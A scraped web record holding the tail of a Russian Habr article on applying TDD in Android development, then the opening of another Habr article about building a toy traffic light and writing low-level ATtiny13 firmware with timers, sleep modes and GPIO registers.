* написать простейшую реализацию, чтобы тест выполнился успешно;
* провести рефакторинг реализации, не сломав тесты.
Подразумевается, что в итерации падающий тест должен быть только один.
Позже Роберт Мартин развил TDD, сформулировав Three Laws of TDD (нано-цикл):
* перед написанием какого-либо кода реализации необходимо написать падающий тест;
* тест не должен содержать больше, чем нужно для его падения или провала компиляции;
* не нужно писать больше кода реализации, чем достаточно для того, чтобы падающий тест прошел.
Из-за второго правила работа сводится к поочерёдному написанию строчки реализации SUT за строчкой теста. Нано-циклы заставляют фокусироваться на очень маленькой подзадаче. Это также помогает, когда не знаешь, с чего начать реализацию.
Со временем Робертом были сформулированы еще два более масштабных цикла. Про всех них можно почитать в [его статье](https://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html).
Технику применения нано-циклов я использую далеко не всегда. Частые перескакивания в сложной задаче приводят к потере фокуса и снижают продуктивность. Несмотря на то, что более крупные циклы должны помогать этого избегать. Считаю, что эту технику лучше применять точечно и комфортный размер шага следует выбирать каждому самостоятельно. Жесткое следование всем правилам на практике не всегда идёт на пользу, но полезно при обучении.
**Я несколько отступился от канонов и нашел эффективным такой алгоритм работы при реализации новой фичи:**
1. Вникнуть в задачу, спроектировать связи между модулями, определить их ответственность.
2. Создать SUT, описать его интерфейс.
* Если функции должны возвращать какой-то результат, можно писать в их теле *TODO()*, чтобы код мог скомпилироваться, тогда при вызове функции тест будет прерван эксепшеном. Другой вариант — хардкодить возврат простого объекта или *null*. Так тесты смогут совершить проверки после вызова функции, но тут лучше быть поаккуратнее.
```
fun doSomething(): Boolean { TODO() }
```
3. Создать тестовый файл для SUT, объявить тесты-требования.
* Описать столько кейсов, сколько получится. Нормально, если в ходе написания реализации на ум придут еще какие-то кейсы.
В пустые тесты/блоки можно добавлять вызов функции *fail()* (из Junit или AssertJ), чтобы не забыть реализовать какой-то из тестов, поскольку пустой тест при запуске выдает положительный результат.
```
@Test
fun `when invoke - should do something`() {
fail { "not implemented" }
}
```
4. Реализовать тест(ы)
* Методология подразумевает написание только одного теста и необходимой реализации SUT для его прохождения за микроцикл, но это может быть не продуктивно, если несколько тестов-требований тесно связаны. Вполне нормально написать несколько тестов и потом перейти к реализации. Если же тестов у SUT получается много и они направлены на проверку разных аспектов её работы, то написание всех тестов перед началом реализации будет приводить к потере фокуса с подзадач, которые предстоит в ходе реализации решить. Как именно поступать, стоит определять в зависимости от конкретного случая и от того, как получается комфортнее.
5. Реализовать SUT, чтобы реализованные тесты успешно выполнились.
* По умолчанию в момент времени стоит фокусироваться на прохождении одного конкретного теста.
6. Отрефакторить SUT, сохранив успешность выполнения реализованных тестов.
7. Если остались нереализованные тесты, перейти к пункту #4.
**Алгоритм доработки SUT, которая уже покрыта тестами:**
1. Объявить новые тесты согласно новым требованиям,
2. Реализовать новые тесты,
3. Реализовать доработку в SUT, чтобы новые тесты выполнились успешно
4. Если старые тесты упали:
* Они актуальны при новых требованиях — исправить реализацию SUT и/или эти тесты,
* Они неактуальны — удалить.
5. Отрефакторить SUT, сохранив успешность выполнения реализованных тестов,
6. Если остались нереализованные тесты, перейти к пункту 2.
Но если к началу работы над задачей невозможно получить достаточного представления о том, какие будут модули, их ответственность и связи, и для формирования представления требуется начать писать реализацию, экспериментировать, то TDD применять не стоит. В противном случае может быть потеряно много времени на переписывание тестов.
Приступаем к реализации по принципу Test Last, но как только достаточное представление сформируется, делаем паузу и переходим к тестам, продолжая дальнейшую разработку уже по TDD. Незачем также применять TDD для реализации тривиальной логики, если вы не собираетесь покрывать её тестами.
**По итогу получаем от подхода следующие преимущества:**
* Предварительное написание тестов вынуждает реализовывать SUT заведомо тестируемой. Тесты оказываются слабо связанными с деталями реализации.
* Тесты являются спецификацией SUT (если при этом соблюдать правила их именования). Часто они вытекают напрямую из функциональных требований к задаче. Сфокусированное перечисление тестов-требований до начала реализации помогает лучше понять и запомнить требования, лучше продумать детали интерфейса SUT. Увеличивается вероятность заблаговременного выявления всех необходимых краевых кейсов. Это само по себе уже помогает допускать меньше ошибок в будущей реализации, а возможность запуска готовых тестов в любой момент дает уверенность в том, что реализация осуществляется правильно.
* Наличие тестов делает рефакторинг реализации безопасным. После каждого изменения реализации можно быстро прогнать все тесты SUT и в случае обнаружения поломки сразу же её устранить. Время, затрачиваемое на отладку, очень сильно сокращается.
* На тесты хватает времени, ведь они неотъемлемая часть процесса разработки
* Все эти факторы в совокупности сокращают время, затрачиваемое на разработку и на развитие приложения в будущем.
* Приятно видеть, как красные тесты один за другим превращаются в зелёные
**TDD** — это в первую очередь подход к разработке. Методология замечательно показывает себя при реализации SUT с unit- и JVM integration-тестами, поскольку их можно быстро и часто запускать. С Instrumentation non-UI-тестами применять её можно, но из-за длительности запуска придется запускать тесты реже. Применять же TDD с UI-тестами крайне не рекомендуется.
Порог входа в TDD высок. Сперва следует закрепить базовые навыки написания тестов. Применять методологию в повседневности или нет — личное дело каждого, но не стоит отказываться, не попробовав. На моей практике встречались фичи со столь сложной логикой, требования к которой много раз менялись, что благополучную реализацию этих фич без TDD я себе не представляю.
Заключение
----------
Применение автоматизированного тестирования способно вывести разработку ПО на качественно новый уровень. Главное — подходить к делу осознанно.
Разработчикам рекомендуется делать акцент на написании тестов на JVM. Чтобы поддержка тестов и изменения в кодовой базе не становились болью, следует писать только те тесты, которые действительно представляют ценность. Важно внимательно отнестись к дизайну продуктового и тестового кода, соблюдать ряд правил, стандартизировать подходы среди всех разработчиков проекта.
Можно извлекать существенную пользу за счет применения TDD с тестами на JVM. Применять его следует не всегда. Разработчику нужно самостоятельно подобрать комфортный размер шага в цикле разработки по TDD.
Полезные материалы
------------------
* [Воркшоп с объяснением основ написания unit-тестов на практике в Junit 4](https://youtu.be/Tp3yYEJ-nbM);
* [Доклад «Эффективное автоматизированное тестирование Android-приложений. Тестирование на JVM»](https://youtu.be/OAuTHSiXHUA?t=12645);
* [xUnit Patterns: Test Double](http://xunitpatterns.com/Test%20Double.html);
* [Mocks Aren't Stubs](https://martinfowler.com/articles/mocksArentStubs.html);
* [GivenWhenThen](https://martinfowler.com/bliki/GivenWhenThen.html);
* [«Следует ли тестировать приватные функции?»](http://shoulditestprivatemethods.com);
* [Google: Testing On The Toilet](https://testing.googleblog.com/search/label/TotT) — блог Google с заметками-рекомендациями по написанию автотестов;
* [The Three Laws of TDD — Robert C. Martin](https://youtu.be/AoIfc5NwRks);
* [The Cycles Of TDD — Robert C. Martin](https://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html);
* [История развития идеи Test First](https://www.scrum.org/resources/blog/test-first-approach-sounds-simply-enough-right);
* [Доклад «Test Last, Test First, TDD: когда применять тот или иной подход»](https://youtu.be/TmY3AuoW_PU). | https://habr.com/ru/post/532306/ | null | ru | null |
# На столбе висят три глаза, или сказ о том, что пяти ног ATtiny13 вполне достаточно
*КДПВ «Ой, всё».*
Мало шансов, что сей лонгрид станет живительным источником мудрости интеллектуалам, искушенным в тайнах гадания на картах Карно и познавшим потаенный смысл Третьей Нормальной Формы. Но если вы зачем-то трогали руками arduino, в кладовке пылится паяльник, понимаете, почему у батарейки один плюс, а у С++ два, то вас не смогут оставить равнодушными поистине волшебные и удивительные чудеса. Итак, имею удовольствие рекомендовать вам номера сегодняшнего представления бродячего цирка «Саман с Самшитом»:
* Добавление RAM и ROM в ATtiny13!
* Искусственный интеллект в микропроцессор — про и контра, или спящая красавица — ну она не дура ли?
* Или все таки dura lex sed lex?
* Как добавить ножек в ATtiny13?
* Пару слов о пятом измерении: как впихнуть невпихуемое?
* Распиливание напополам не-девствениц с перемешиванием содержимых половин (с гарантией восстановления).
* Номер «Кормление страждущих» (см. более ранний случай насыщения пяти тысяч человек пятью ячменными хлебами и двумя рыбами).
Если хотя бы один из фокусов пригодится в будущем каждому двадцатому читателю, буду доволен, статья была написана не зря.
Светофор первый или Каа принимает бой.
--------------------------------------
Начиналась история, как в классической предрождественской видеоподводке, когда камера заглядывает через заиндевевшее окно в небольшую уютную комнату: ёлка в мишуре, вате и игрушках, запах мандарин и глинтвейна, теплое дрожание теней от огонька свечи. На большом диване Она поправляет плед и нежно прижимается щекой к Его плечу, рассеяно слушая восторженно жестикулирующую ангелоподобную маленькую девочку...
Имеющие родительский опыт, прекрасно знают, что именно в такой момент можно услышать. Тем, кто такого навыка пока не приобрел, объясню — с великой степенью вероятности сейчас родителей ошарашивают чем-то наподобие: «Папа! Нам завтра! В детский садик! Надо! Принести поделку на конкурс ёлочных игрушек! И я хочу первое место!».
Надо. Завтра. Нам. Поделку. Лучшую.
Вовлеченное интервью с Заказчиком проявляет контуры ТЗ: нам нужен светофор. И чтобы красивый и светился, как настоящий. Уже на этом этапе ряды кандидатов в ГИП проекта драматически редеют: у папы не получается обосновать идею, что прелестный, мягкий, сшитый из лоскутков или связанный спицами или крючком светофор и является воплощенным представлением мечт Заказчика: светофор должен светиться — что тут непонятного?
На страну накатывалась ночь, а у нас закипала работа.
Материал корпуса светофора — втулка от туалетной бумаги, обжатая так, чтобы получился параллелепипед. Десятирублевая монета обводилась карандашом, и затем вырезались канцелярским ножом отверстия под огни световой сигнализации (травмоопасная работа детям не доверяется).
Крышки верха и низа светофора раскроены из картона по месту. Козырьки над лампами по сделанной выкройке обводились на обыкновенной 80-ти граммовой бумаге и вырезались вручную.
Затем были приклеены на ПВА.
Собранные конструкции вытащили во двор и покрасили аэрозольными акриловыми красками: щедро серебристой, после слегка сверху черной.
На случай повреждения на любом этапе, изготавливались сразу три экземпляра. Светофильтрами внутрь самого удачного вклеили три полоски цветной бумаги — красной, желтой и зеленой.
Подсвечивать изнутри было решено парой сверхъярких белых светодиодов из щедрых закромов родины (ЩЗР). Каптерщицкая жаба наотрез отказалась выдавать папе из наличия ЩЗР еще и аж три таблеточных литиевых батарейки, а светиться от одной не соглашались светодиоды, заявляя, что они белые и яркие, и падение напряжения на них от 2.8 до 3.9 вольт. Максимум, на что удалось выторговаться с жабой — на одну батарейку АА, ферритовое колечко от дросселя сгоревшей материнки и транзистор КТ315. Поразмыслив и погуглив, папа пришлось принять предложение. Да и учитывая количество шаловливых ручек в каждой группе детского сада, идея с литиевыми элементами питания смотрелась не особо привлекательной.
Корпуса светофоров на батарее жестким запахом краски вытесняли ароматы хвои и мандаринов, папа задумчиво тыкал паяльником в канифоль, дети наматывали трансформаторы для блокинг-генераторов (дублирование экземпляров), все шло по плану...
И нет, "и вдруг" в тот вечер не случилось: всех хитростей при намотке трансформатора — сразу наматывать сложенным вдвое проводом максимально возможное количество витков. Не перепутать анод и катод светодиода, и выводы транзистора КТ315 и правильно подключить концы обмоток (или поменять их местами, если не засветилось) согласно принципиальной схеме. J1 — выключатель питания из компьютерного джампера, выведенный позже "на крышу" светофора.
Совершенно простая схема получения переменного напряжения с пиками в 3-7В от 1,5В батарейки G1 давно и [широко известна](https://www.google.com/search?q=%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D0%BD%D0%B3-%D0%B3%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80+%D0%B4%D0%BB%D1%8F+%D0%B1%D0%B5%D0%BB%D0%BE%D0%B3%D0%BE+%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BE%D0%B4%D0%B0&tbm=isch).
Физически принципиальная схема воплотилась вот так:
В красной изоленте — алкалиновая батарейка АА.
А сам светофор в сборе — вот так.
Утром гордая чада утащила изделие в садик, где игрушка произвела фурор и заняла центральное место на ёлке.
С первым местом на конкурсе, правда, не сложилось — крайний срок сдачи конкурсных работ, как оказалось, уже несколько дней как прошел.
Дома оставались два корпуса на подоконнике и папина зудящая неудовлетворенность решением задачи «хочу как настоящий светофор». И крутилась мысль "а можно ли полное решение уместить, скажем в 13ю тиньку, что у жабы в «ЩЗР» давно валяется? Хватит ли пяти ножек, килобайта на код и 64 байта оперативки и чтобы, как заказывалось, как настоящий"?
Так что всё это только присказка была, сказка об окончательном решении светофорного вопроса впереди.
Светофор второй, как настоящий
------------------------------
### Используемый инструментарий, материалы и документация
*Язык/фреймворк*: C / Arduino 1.6/1.8.
*IDE*: MS Visual Studio 2012 + Visual Micro plugin + git.
*CAD*: DipTrace.
*HW*: МК ATtiny13, клон Arduino Nano на ATmega328, USB-UART на FT232R, программатор china-noname USBISP.
*Технология ПП*: ЛУТ.
*Инструменты*: Паяльник, клеевой пистолет, кухонная духовка, нож, ножницы, кусачки.
*Материалы*: Из «ЩЗР» — по 4 красных, желтых, зеленых выводных LED марки noname, SMD танталовый конденсатор и пара резисторов 0805 по 10к, полдюжины выводных 0,25Вт токоограничивающих резисторов MF-25, китайский повышающий DC-DC 5В преобразователь, аэрозольные баллончики с серебряной и черной краской, бумага А4, полимерная глина с распродажи.
*Исходники и документы доступны на [Github](https://github.com/lugovskovp/TrafficLight13) под лицензией MIT, коммиты исходного кода совпадают с нижеописанными итерациями прошивки, все упоминаемые пути к файлам — относительно корня репозитория.*
*Документация*:
./docs/ATtiny13A datasheet.pdf [Спецификация на МК Atmel ATtiny13A]
./docs/ATmega328 datasheet.pdf [Спецификация на МК Atmel ATmega328]
./docs/AVR4027 — Tips and Tricks to Optimize Your C Code.pdf [Atmel AVR4027: Tips and Tricks to Optimize Your C Code for 8-bit AVR Microcontrollers]
./docs/AVR4013 — PicoPower basics.pdf [Заметки по режимам энергосбережения]
Из Arduino IDE, как из облака одеяло. Ихний езык Wiring — иезуитски тонкое издевательство над всем, что может быть свято у embed-программистов. Но Arduino, как экосистема, жил, жив и жить будет, и в силу простоты установки окружения на компьютеры под различные ОС, и потому, что они первыми дали возможность без особых затрат на хардварный программатор-отладчик, используя копеечный UART и фирменный бутлоадер, заниматься разработкой в достаточно серьёзных по начинке МК. А тут еще дядюшка Ляо, готовый продать пригоршню клонов по цене одного оригинала. То, что в старших атмегах можно отладить логику и работу программы, а потом с минимальными изменениями перенести на ту же тиньку — это тоже Довод.
Мне привычно и комфортно работать в [MS VisualStudio](http://visualstudioshortcuts.com/2012/), лишнего места для AtmelStudio или WinAVR нет и изыскивать не хочу, без [аппаратного отладчика](https://www.microchip.com/Developmenttools/ProductDetails/ATAVRDRAGON) ультимативных удобств они не несут. О плагине VisualMicro, добавляющем в MS VisualStudio поддержку Arduino [уже было](https://habr.com/ru/post/216029/) достаточно подробно и толково написано на хабре.
Фокус " Arduino на ATtiny13" на хабре так же был [рассмотрен](https://habr.com/ru/post/234477/) давно и [неоднократно](https://habr.com/ru/post/245429/).
Вкратце — в установленную инсталляцию среды Arduino добавить модуль [MicroCore](https://github.com/MCUdude/MicroCore), после чего появляется возможность выбора в целевых платах МК ATtiny13.
Git — безальтернативен для любых, даже самых домашних проектов. Привычка несложная, но правильная: начиная работу над любой программой просто в командной строке набрать "git init" в каталоге. Встроенная в MS Visual Studio поддержка комитов в локальном репозитории не раз сэкономит нервы и время.
DipTrace, как САПР для схемотехники и печатной платы — удобный, отечественный, схематика и разводка дружелюбна к пользователю, легкое добавление пользовательских компонентов (УГО, контакты), при желании печатную плату с компонентами можно покрутить в 3D, качественная справка и обучающие уроки в комплекте. Кроме этого, мне импонирует их политика лицензирования: ограничений бесплатной для России, Украины, Республики Беларусь лицензии Non profit standard (1000 pins, 4 signal layers), в 99% случаев хватает для домашних поделок.
Мне не удалось нормально заставить заработать Arduino Nano, как программатор для тиньки, но при наличии USB ISP программатора проблема решается несложно. По-быстрому набросал командных файлов для компиляции/прошивки — в директории ./gcc в проекте.
Файл .ino (а реально он С/C++) безошибочно компилирующийся в студии "под ардуино под ATtiny13", просто подается параметром этого батника в командной строке:
```
>"./gcc/0_MAKE & upload.cmd" MyArduinoFile.ino
```
Если в этот момент воткнут ISP программатор, а к нему присоединен МК, то пройдёт и компиляция и прошивка.
```
>"./gcc/0_MAKE & asm.cmd" MyArduinoFile.ino
```
Как понятно по названию, откомпилировав, создаст ассемблерный листинг прошивки — бывает очень полезно, даже если [ассемблер для AVR](http://www.gaw.ru/html.cgi/txt/doc/micros/avr/asm/start.htm) не самая сильная [сторона](http://microsin.net/programming/AVR/avr-gcc-memory-sections.html) навыков. **Важно**: *При желании использовать командные файлы придется необходимо изменить внутри пути, они абсолютные*.
### Душа светофора
#### Upgrade ROM&RAM под Arduino для ATtiny13
Скелет Arduino программ (последовательно setup(){...}; loop(){...};) незримо для ардуинщика при компилировании фактически "заворачивается" в классическую С-шную int main(){setup(); loop();}, *немножк* прибавляя в весе за счет накладных расходов by Arduino.
```
uint8_t cnt;
void setup() {
cnt=0;
}
void loop() {
cnt++;
}
//Program size: 164 bytes (used 16% of a 1 024 byte maximum) (0,57 secs)
//Minimum Memory Usage: 5 bytes (8% of a 64 byte maximum)
```
Собственно абсолютно то же самое, но без вызова функций на простом С:
```
uint8_t cnt;
int main(){
cnt=0; // < setup()
while(1){
cnt++; // < loop()
}
}
//Program size: 60 bytes (used 6% of a 1 024 byte maximum) (1,23 secs)
//Minimum Memory Usage: 1 bytes (2% of a 64 byte maximum)
```
Кроме уменьшения с 16% до 6% требуемой программной памяти, обратите внимание, добавилось 6% бесплатной оперативной памяти на переменных. А еще вызов любой функции до самого её завершения незримо расходует память как минимум на адрес возврата в стеке, а стек — это тоже часть физически наличествующих 64 байт оперативки.
#### Интеллект спящей красавицы
Обязательным признаком интеллекта, безусловно, является лень: разумное существо не станет выполнять бесполезную работу. Неинтеллектуальный процессор будет раз за разом прокручивать бесконечный цикл, бесполезно переводя энергию в тепло, и лишь изредка, при изменении внешних условий, выполнять работу по изменению состояния. Более разумный процессор, напротив, работает только тогда, когда внешние условия уже поменялись. В целях повышения интеграционного показателя разума на планете Грязь, переводим тиньку на следующую ступень интеллектуального развития: наш CPU будет большую часть времени спать, просыпаясь и работая только когда это необходимо. Работа у него — инкрементировать глобальную переменную, хранящую значение времени каждые N единиц времени. Во время сна без участия "мозга"-CPU все равно будет работать таймер, увеличивающийся во сне на единицу каждые (9.6 МГц тактов в секунду / значение делителя таймера 1024 = 9370 Гц, столько раз в секунду таймер инкрементируется) 1/9370 = 0.0001067 секунды. Но проснется ЦПУ только когда 8-ми битный таймер переполнится. А проснувшись, первым делом метнётся, как ночью в туалет, в процедуру обработки события "переполнение таймера". А после побежит по программе дальше, начиная с места, где засыпал, пока не дойдет до места в бесконечном цикле с командой "спать". Таких пробуждений у него будет 37 раз за секунду (256 х 0.0001067 = 0.027315; 0.027315 х 37 = 1.01065 ~= 1s).
Изменение скелета программы: устанавливаем тактирование и делитель таймера-счетчика (HW блока, инкрементирующего своё значение каждые 1024 тактов), при переполнении 8бит этого счетчика — запускается обработчик прерывания переполнения, затем управление передается на следующую строчку программы после той, в которой он уснул.
**Важно**: *переменная globalTimer определена как volatile, это означает, что изменяется она в совершенно непредсказуемое и неизвестное время, как следствие, перед любым её использованием CPU обязан сначала прочитать её актуальное значение из памяти, даже если действия именно с ней были в предыдущей строчке программы*.
```
#include // Для компиляции не из IDE - определения регистров
#include // Да, будем спать
#include // будет использоваться прерывание
volatile uint16\_t globalTimer; //трачу два байта оперативки из 64 на глобальный таймер
// часики - переполнение таймера инкрементирует globalTimer каждые 1/37 секунды
ISR(TIM0\_OVF\_vect){
globalTimer++; // а больше ничего тут делать не надо. Проснется, сплюсует, пробежит while(1) цикл и уснет.
}
int main() {
// Планировщик работает по схеме "а потом спи-отдыхай".
set\_sleep\_mode(SLEEP\_MODE\_IDLE); //установить режим сна - см.даташит
sleep\_enable(); // разрешаем уход в сон
TCCR0B = \_BV(CS02) | \_BV(CS00); // Тактирование таймера0 - clock frequency / 1024
TIMSK0 |= \_BV(TOIE0); // При переполнении будет вызвано прерывание overflow interrupt
sei(); // Глобально разрешаем обработку прерываний
while(1){
//......... действия основного цикла
sleep\_cpu(); //и в самом конце цикла - уходим в сон.
}
}
//Program size: 128 bytes (used 13% of a 1 024 byte maximum) (0,86 secs)
//Minimum Memory Usage: 2 bytes (3% of a 64 byte maximum)
```
#### "У кошки 4 ноги: вход, выход, земля и питание"(с) жалостливая студенческая песня
Небольшое отступление, объясняющее, что за странные аббревиатуры появились в листинге.
В микропроцессорах управление [блоками периферии](http://easyelectronics.ru/avr-uchebnyj-kurs-arxitektura.html), точно так же, как и управление CPU, осуществляется путем записи/чтения значений в/из определенных адресов пространства памяти. На примере периферийного модуля GPIO.
Уровень сигнала и тип ножки в Arduino задаются очень просто: сначала для ножки платы Arduino номер pin\_number включаем режим работы на вход (или выход):
```
pinMode(pin_number, OUTPUT); // Был бы INPUT - был бы вход
```
А потом или выставляем высокое/низкое значение на ножке для выхода, или считываем — какое напряжение приходит на ногу для входа.
```
Value = digitalRead(pin_input_number); //Value - присваивается HIGH или LOW (1 или 0)
digitalWrite(pin_outpit_number, Value); // На ножке pin_outpit_number - HIGH или LOW
```
Для "упрощения" жизни пользователей, создатели языка Wiring пошли на некоторую подмену, используя номера, напечатанные на плате Arduino (белым на плате или в прямоугольниках цвета бледная фуксия) вместо номеров ножек микросхемы (белым по серому) или номеров принадлежности портов (черным по желтому) (что и логичнее и правильнее).
Т.о. номер пина Arduino 7 равнозначен номеру ножки 11 или PD7 — седьмому биту порта D.
Все конструкции digitalRead, digitalWrite, pinMode и т.п., при компиляции всё равно приходят к установке режимов работы и значений в нумерации, близкой для процессора, увы, добавляя при каждом обращении к Wiring-функциям просто устрашающую кучу вызовов дополнительных действий, утяжеляя код и на порядки замедляя работу.
Управление состояниями ножки — оно еще проще, чем учит нас ардуина. Лучше, чем [DIHALT](https://habr.com/ru/users/dihalt/) [объяснить](http://easyelectronics.ru/avr-uchebnyj-kurs-ustrojstvo-i-rabota-portov-vvoda-vyvoda.html) режимы работы и установки портов у меня вряд ли получится.
Изнутри процессора ножки ввода-вывода порта общего назначения (GPIO) видятся сгруппированными по логическим портам, у 8-ми битных процессоров — максимум 8 ножек на один порт. У малоногой тиньки мало того, что только 6 ножек можно задействовать физически (рис. ATtiny13 pinout, белым по зеленому), с PB0 по PB5, так еще и если использовать PB5 — то исчезает возможность программирования MK без специального высоковольтного программатора. Управляется любой порт ввода-вывода общего назначения тремя регистрами: (на примере порта с именем "B") DDRB, PINB и PORTB. Регистр управления периферией — ячейка памяти, которой можно присваивать значения, или читать их. Обозначения PB0, PB1, PB2, PB3, PB4, PB5 — соответствие ножек битам байтов регистров порта B. При добавлении в начало программы #include (или даже сразу iotn13.h для тиньки), эти определения обретут номера битов (PB0 станет 0,..., PB5 — 5) в байтах значений регистров в IDE, и станет возможной компиляция без задействования фреймворка Arduino.
**Важно**: *если программа не обращается к регистрам периферии, это то же самое, что запись в эти регистры нулевых значений. Как правило, значения по-умолчанию оставляют блок периферии в выключенном состоянии, но, например, нули в DDRx GPIO определяют, что ножки — входы. А одновременно с этим ноль в PORTx — внутренняя подтяжка НЕ включена, потенциал "где-то меж нулём и единицей", ноги чутко ловят, в какую сторону им склонится — вверх или вниз, что записать в PINx. Им вполне хватит электромагнитного поля от электропроводки, чтобы 50 раз в секунду менять состояние между 0 и 1. И на каждое переключение процессор будет затрачивать электричество, бессмысленно и не очевидно для программиста*.
**Пусть, например**на ножку PB2 хочу вывести HIGH, +5В, на ножку PB3 сигнал LOW, 0В, а с ножки PB0 наоборот, прочитать — какой логический уровень напряжения на ней.
DDRB присваиваю значение числа, у которого бит PB0, номер ноль (самый левый) = 0 (PB0 определится как вход), второй и третий биты = 1 (PB2, PB3 — выходы), т.е. в бинарной записи число хххх11х0, где х — что угодно, хоть 1 хоть 0 — в условиях не оговорено.
```
DDRB = 12; // двоичное 000001100 в десятичном виде - 12
//режимы работы сразу всех пинов порта устанавливаются одномоментно (!)
// не надо для каждой ножки отдельно вызывать pinMode().
```
Чтобы установить на выводах заданные значения — присвоить PORTB число, у которого второй бит=1 (PB2 в HIGH), а третий — нулю (PB3 в LOW), остальные — не важно, хххх01хх
```
PORTB = 8; //(dec)8 === (bin)000001000
//Опять же - все значения всех ножек разом одной командой установлены.
```
Для чтения уровня с ножки у порта есть третий и последний регистр управления PINB, в нем число, значения бит которого — это логические уровни напряжения соответствующих ножек.
Все бы хорошо, но перевод из бинарных чисел в десятичные и обратно — некоторая морока.
Как установить бит номер 3 (PB3) в единицу: просто поставить 1 на нулевое место, и сдвинуть ее 3 раза влево.
3<<00000001 === PB3<<1 // результат — 00001000
Для совсем лёгкой жизни существует макрос, \_BV(x), который при компиляции заменяется на (x<<1), т.о. \_BV(PB3) — устанавливает третий бит в 1.
Запись \_BV(PB3) | \_BV(PB2) при компиляции превратится в число 00001100 (| — логическое побитовое ИЛИ).
**Важно**: *макрос разворачивается в число уже при компиляции, в прошивке не будет никаких битовых действий, а будет использоваться получившаяся константа*.
```
PORTB |= _BV(PB3) | _BV(PB2); // 2 и 3 биты порта == 1, уровни напряжения на ножках PB2 и PB3 станут HIGH, остальные биты PORTB не изменяются
```
Для установки 0 логическое ИЛИ не подойдет, поэтому так же единицу сдвинуть на нужное место в байте, а потом инвертировать байт. Получившееся значение будет иметь 0 на необходимом месте и 1 на остальных. Складывая по логическому И со значением регистра, те биты, где 1 текущих значений регистра не изменят, а где 0 — сбросят в 0 соответствующие.
```
PORTB &= ~(_BV(PB3) | _BV(PB2)); // В регистре PORTB 2й и 3й биты - стали нули, LOW, остальные не изменились.
```
В листинге выше инициализируется иной HW блок, таймер-счетчик 0, Timer0. Он сложнее GPIO, управляется уже не тремя, а семью регистрами, подробно их значения описаны в datasheet ATtiny13, если кому-то хочется прочитать еще и по-русски, можно посмотреть назначения битов в [блоге](http://avrprog.blogspot.com/) Ilya Ananev в очень похожем по функционалу [таймере-счетчике 0](http://avrprog.blogspot.com/2013/03/t0-8.html) в старшей ATmega328.
Изменяю только те регистры, функционал которых запускает то, что мне требуется.
```
TCCR0B = _BV(CS02) | _BV(CS00); // Биты с названиями CS02 и CS00 в 1 - установить тактирование таймера0 = clock frequency / 1024
TIMSK0 |= _BV(TOIE0); // Бит номер TOIE0 в 1 - при переполнении вызвать прерывание TIM0_OVF
// в этом контексте равнозначно и TIMSK0 = _BV(TOIE0);
```
#### ГОСТ или закон есть закон.
Сейчас уже не те старые жестокие времена, когда пренебрежение Государственным Стандартом являлось уголовным преступлением. И тем не менее, большинство людей не подозревает, насколько высоко влияние регулирования стандартами привычных повседневных явлений и вещей. Показателен неочевидный для не-технологов машиностроения пример, что попытка изготавливать автомат калашникова по более точным, с меньшими допусками при изготовлении деталей, нормам приведёт к (внезапно!) ухудшению его характеристик.
Светофор от цветомузыки отличается те, что режимы его работы диктуются государственным стандартом. Актуальные порядок и длительность чередования сигналов светофора находятся в документе "[Распоряжение ФДА от 27.02.13](http://rosavtodor.ru/docs/prikazy-rasporyazheniya/13324)" согласно 7 раздела ГОСТа Р 52289-2004 в части режимов работы светофоров, и полностью соответствует международной Конвенции о дорожных знаках и сигналах.
Сигналы чередуются в такой последовательности (одна из разрешенных): красный, красный с желтым, зеленый, зеленый мигающий, желтый, красный.
"\*При этом длительность сигнала "красный с желтым" рекомендуется устраивать не более 2 с, длительность желтого сигнала — 3 с.
В режимах работы светофорной сигнализации с использованием светофоров рекомендуется предусматривать мигание зеленого сигнала в течение 3 с непосредственно перед его выключением с частотой 1 миг/с.\*"
Опираясь на данный документ, добавлю определения длительности периодов последовательности (как и в большом светофоре, перпендикулярные направления имеют различные длительности разрешающего/запрещающего сигнала — PERIOD\_0 и PERIOD\_4, длительность остальных состояний — по ГОСТу).
```
#define ONE_SECOND 37 // количество переполнений счетчика в 1 секунду
#define QT_SECOND 9 // четверть секунды
#define PERIOD_FLASH_GREEN QT_SECOND //период мигания зеленым цветом (четверть сек) - перед переключением в желтый
#define PERIOD_FLASH_YELLOW ONE_SECOND * 1 //период мигания желтым цветом - регулировка светофором отключена - секунды
// север --- восток
#define PERIOD_0 ONE_SECOND * 10 //R G R G 0. красный --- зеленый (10 сек)
#define PERIOD_1 ONE_SECOND * 3 //R g R g 1. красный --- зеленый мигающий (3 сек)
#define PERIOD_2 ONE_SECOND * 1 //R Y R Y 2. красный --- желтый (1 сек)
#define PERIOD_3 ONE_SECOND * 2 //RY Y RY Y 3. красн+желтый --- желтый (2 сек)
#define PERIOD_4 ONE_SECOND * 7 //G R G R 4. зеленый --- красный (7 сек)
#define PERIOD_5 ONE_SECOND * 3 //g R g R 5. зеленый мигающий --- красный(3 сек)
#define PERIOD_6 ONE_SECOND * 1 //Y R Y R 6. желтый --- красный (1 сек)
#define PERIOD_7 ONE_SECOND * 2 //Y RY Y RY 7. желтый --- красный+желтый (2 сек)
```
И опишу структуру, которая будет хранить данные сигналов светофора, их длительности и мигании.
```
typedef struct{
const uint8_t ddr_val_0; // DDRB value - в горящем состоянии
const uint8_t port_val_0; // PORTB value - в горящем состоянии
const uint8_t ddr_val_1; // DDRB value - в состоянии "мигания", если такое есть
const uint8_t port_val_1; // PORTB value - аналогично
const uint16_t flash_period; // period of flashing - переключение между _val_1 и _val_0
const uint16_t signal_period; // period of this lighting state
}lightSignalization; // состояние огней светофора, _0 и _1 - состояния при мигании, flash_long - время переключения мигания
//Если flash_period == 0, значит мигания нет, использовать только _val_0.
//Если signal_period == 0, значит переключения на следующее значение не лимитировано по времени.
```
Размер исходника вырос, но размер скомпилированной прошивки всё те же 128 байт — добавились лишь определения для компилятора, которые в программе пока не используются.
#### Как найти в ATtiny13 восемь (или девять?) пинов ввода-вывода
